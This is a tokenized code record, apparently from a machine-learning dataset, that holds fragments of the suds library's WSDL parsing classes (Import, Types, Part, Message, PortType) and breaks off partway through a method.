"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Load", " ", "the", " ", "object", " ", "by", " ", "opening", " ", "the", " ", "URL", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "self_", "._", "location_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "log", ".", "debug", "('", "import", "ing", " ", "(%", "s", ")'", ",", " ", "url", ")_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "':/", "/'_", "not_", "in_", "url_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "urljoin_", "(_", "definitions_", "._", "url_", ",_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "options_", "=_", "definitions_", "._", "options_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "=_", "Definit", "ions_", "(_", "url_", ",_", "options_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "d_", "._", "root_", "._", "match_", "(_", "Definit", "ions_", "._", "Tag_", ",_", "ws", "dl", "ns_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "import", "\\u", "definitions_", "(_", "definitions_", ",_", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "d_", "._", "root_", "._", "match_", "(_", "Schema_", "._", "Tag_", ",_", "Namespace_", "._", "xsd", "ns_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "import", "\\u", "schema_", "(_", "definitions_", ",_", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "raise_", "Exception_", "(_", "'", "document", " ", "at", " ", "\"%", "s", "\"", " ", "is", " ", "unknown", "'_", "%_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Import_", "(_", "WO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "import", "\\u", "definitions_", "(_", "self_", ",_", "definitions_", ",_", "d_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "import", "/", "merge", " ", "ws", "dl", " ", "definit", "ion", "s", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "definitions_", "._", "types_", "+=_", "d_", "._", "types_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "definitions_", "._", "messages_", "._", "update_", "(_", "d_", "._", "messages_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "definitions_", "._", "port", "\\u", "types_", "._", "update_", "(_", "d_", "._", "port", "\\u", "types_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "definitions_", "._", "bindings_", "._", "update_", "(_", "d_", "._", "bindings_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "imported_", "=_", "d_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "log", ".", "debug", "('", "import", "ed", " ", "(", "WS", "DL", "):", "\\\\", "n", "%", "s", "',", " ", "d", ")_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Import_", "(_", "WO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "import", "\\u", "schema_", "(_", "self_", ",_", "definitions_", ",_", "d_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "import", " ", "schema", " ", "as", " ", "<", "types", "/>", " ", "content", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "len_", "(_", "definitions_", "._", "types_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "types_", "=_", "Types_", "._", "create_", "(_", "definitions_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "definitions_", "._", "types_", "._", "append_", "(_", "types_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "types_", "=_", "definitions_", "._", "types_", "[_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "types_", "._", "root_", "._", "append_", "(_", "d_", "._", "root_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "log", ".", "debug", "('", "import", "ed", " ", "(", "XSD", "):", "\\\\", "n", "%", "s", "',", " ", "d", ".", "root", ")_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Import_", "(_", "WO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "gt", "\\u\\u_", "(_", "self_", ",_", "other_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Types_", "(_", "WO", "bject_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Represent", "s", " ", "<", "types", "><", "schema", "/>", "</", "types", ">.", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Types_", "(_", "WO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "create_", "(_", "cls_", ",_", "definitions_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "root_", "=_", "Element_", "(_", "'", "types", "'_", ",_", "ns_", "=_", "ws", "dl", "ns_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "definitions_", "._", "root_", "._", "insert_", "(_", "root_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Types_", "(_", "root_", ",_", "definitions_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Types_", "(_", "WO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "root_", ",_", "definitions_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "root", ":", " ", "An", " ", "XML", " ", "root", " ", "element", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "root", ":", " ", "L", "{", "Element", "}", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "definit", "ion", "s", ":", " ", "A", " ", "definit", "ion", "s", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "definit", "ion", "s", ":", " ", "L", "{", "Definit", "ion", "s", "}", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "WO", "bject_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "root_", ",_", "definitions_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "definitions_", "=_", "definitions_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Types_", "(_", "WO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "contents_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "root_", "._", "get", "Children_", "(_", "'", "schema", "'_", ",_", "Namespace_", "._", "xsd", "ns_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Types_", "(_", "WO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "schema_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "definitions_", "._", "schema_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Types_", "(_", "WO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "local_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "(_", "self_", "._", "definitions_", "._", "schema_", "is_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Types_", "(_", "WO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "imported_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "(_", "not_", "self_", "._", "local_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Types_", "(_", "WO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "gt", "\\u\\u_", "(_", "self_", ",_", "other_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "isinstance_", "(_", "other_", ",_", "Import_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Part_", "(_", "Name", "d", "Object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Represent", "s", " ", "<", "message", "><", "part", "/>", "</", "message", ">.", "\\", "10", ";", " ", " ", " ", " ", "@", "ivar", " ", "element", ":", " ", "The", " ", "value", " ", "of", " ", "the", " ", "{", "element", "}", " ", "attribute", ".", "\\", "10", ";", " ", " ", " ", " ", "Stor", "ed", " ", "as", " ", "a", " ", "I", "{", "qre", "f", "}", " ", "as", " ", "convert", "ed", " ", "by", " ", "L", "{", "sud", "s", ".", "xsd", ".", "quali", "fy", "}.", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "element", ":", " ", "str", "\\", "10", ";", " ", " ", " ", " ", "@", "ivar", " ", "type", ":", " ", "The", " ", "value", " ", "of", " ", "the", " ", "{", "type", "}", " ", "attribute", ".", "\\", "10", ";", " ", " ", " ", " ", "Stor", "ed", " ", "as", " ", "a", " ", "I", "{", "qre", "f", "}", " ", "as", " ", "convert", "ed", " ", "by", " ", "L", "{", "sud", "s", ".", "xsd", ".", "quali", "fy", "}.", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "type", ":", " ", "str", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Part_", "(_", "Name", "d", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "root_", ",_", "definitions_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "root", ":", " ", "An", " ", "XML", " ", "root", " ", "element", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "root", ":", " ", "L", "{", "Element", "}", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "definit", "ion", "s", ":", " ", "A", " ", "definit", "ion", "s", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "definit", "ion", "s", ":", " ", "L", "{", "Definit", "ion", "s", "}", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Name", "d", "Object_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "root_", ",_", "definitions_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pm", "d_", "=_", "Metadata_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pm", "d_", "._", "wrappers_", "=_", "dict_", "(_", "element_", "=_", "repr_", ",_", "type_", "=_", "repr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u\\u", "metadata", "\\u\\u_", "._", "\\u\\u", "print", "\\u\\u_", "=_", "pm", "d_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tns", "_", "=_", "definitions_", "._", "tns", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "element_", "=_", "self_", "._", "\\u\\u", "getre", "f_", "(_", "'", "element", "'_", ",_", "tns", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "type_", "=_", "self_", "._", "\\u\\u", "getre", "f_", "(_", "'", "type", "'_", ",_", "tns", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Part_", "(_", "Name", "d", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "getre", "f_", "(_", "self_", ",_", "a_", ",_", "tns", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Get", " ", "the", " ", "qualified", " ", "value", " ", "of", " ", "attribute", " ", "named", " ", "'", "a", "'.", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "=_", "self_", "._", "root_", "._", "get_", "(_", "a_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "s_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "quali", "fy_", "(_", "s_", ",_", "self_", "._", "root_", ",_", "tns", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Message_", "(_", "Name", "d", "Object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Represent", "s", " ", "<", "message", "/>", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "ivar", " ", "part", "s", ":", " ", "A", " ", "list", " ", "of", " ", "message", " ", "part", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "part", "s", ":", " ", "[", "I", "{", "Part", "},", "...]", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Message_", "(_", "Name", "d", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "root_", ",_", "definitions_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "root", ":", " ", "An", " ", "XML", " ", "root", " ", "element", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "root", ":", " ", "L", "{", "Element", "}", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "definit", "ion", "s", ":", " ", "A", " ", "definit", "ion", "s", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "definit", "ion", "s", ":", " ", "L", "{", "Definit", "ion", "s", "}", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Name", "d", "Object_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "root_", ",_", "definitions_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "parts_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "p_", "in_", "root_", "._", "get", "Children_", "(_", "'", "part", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "part_", "=_", "Part_", "(_", "p_", ",_", "definitions_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "parts_", "._", "append_", "(_", "part_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Message_", "(_", "Name", "d", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "gt", "\\u\\u_", "(_", "self_", ",_", "other_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "isinstance_", "(_", "other_", ",_", "(_", "Import_", ",_", "Types_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Port", "Type_", "(_", "Name", "d", "Object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Represent", "s", " ", "<", "port", "Type", "/>", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "ivar", " ", "operati", "ons", ":", " ", "A", " ", "list", " ", "of", " ", "contain", "ed", " ", "operati", "ons", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "operati", "ons", ":", " ", "list", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Port", "Type_", "(_", "Name", "d", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "root_", ",_", "definitions_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "root", ":", " ", "An", " ", "XML", " ", "root", " ", "element", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "root", ":", " ", "L", "{", "Element", "}", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "definit", "ion", "s", ":", " ", "A", " ", "definit", "ion", "s", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "definit", "ion", "s", ":", " ", "L", "{", "Definit", "ion", "s", "}", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Name", "d", "Object_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "root_", ",_", "definitions_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "operations_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "c_", "in_", "root_", "._", "get", "Children_", "(_", "'", "operati", "on", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "op_", "=_", "Fac", "ade_", "(_", "'", "Opera", "tion", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "op_", "._", "name_", "=_", "c_", "._", "get_", "(_", "'", "name", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "op_", "._", "tns", "_", "=_", "definitions_", "._", "tns", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "input_", "=_", "c_", "._", "get", "Child_", "(_", "'", "input", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "input_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "op_", "._", "input_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "op_", "._", "input_", "=_", "input_", "._", "get_", "(_", "'", "message", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "output_", "=_", "c_", "._", "get", "Child_", "(_", "'", "output", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "output_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "op_", "._", "output_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "op_", "._", "output_", "=_", "output_", "._", "get_", "(_", "'", "message", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "faults", "_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "fault_", "in_", "c_", "._", "get", "Children_", "(_", "'", "fault", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "=_", "Fac", "ade_", "(_", "'", "Fau", "lt", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "name_", "=_", "fault_", "._", "get_", "(_", "'", "name", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "message_", "=_", "fault_", "._", "get_", "(_", "'", "message", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "faults", "_", "._", "append_", "(_", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "op_", "._", "faults", "_", "=_", "faults", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "operations_", "[_", "op_", "._", "name_", "]_", "=_", "op_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Port", "Type_", "(_", "Name", "d", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "resolve_", "(_", "self_", ",_", "definitions_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Resolv", "e", " ", "named", " ", "reference", "s", " ", "to", " ", "other", " ", "WS", "DL", " ", "object", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "definit", "ion", "s", ":", " ", "A", " ", "definit", "ion", "s", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "definit", "ion", "s", ":", " ", "L", "{", "Definit", "ion", "s", "}", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "op_", "in_", "self_", "._", "operations_", "._", "values_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "op_", "._", "input_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "op_", "._", "input_", "=_", "Message_", "(_", "Element_", "(_", "'", "no", "-", "input", "'_", ")_", ",_", "definitions_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "qre", "f_", "=_", "quali", "fy_", "(_", "op_", "._", "input_", ",_", "self_", "._", "root_", ",_", "definitions_", "._", "tns", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg_", "=_", "definitions_", "._", "messages_", "._", "get_", "(_", "qre", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "msg_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "raise_", "Exception_", "(_", "\"", "msg", " ", "'%", "s", "',", " ", "not", "-", "found", "\"_", "%_", "op_", "._", "input_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "op_", "._", "input_", "=_", "msg_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "op_", "._", "output_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "op_", "._", "output_", "=_", "Message_", "(_", "Element_", "(_", "'", "no", "-", "output", "'_", ")_", ",_", "definitions_", ")_", 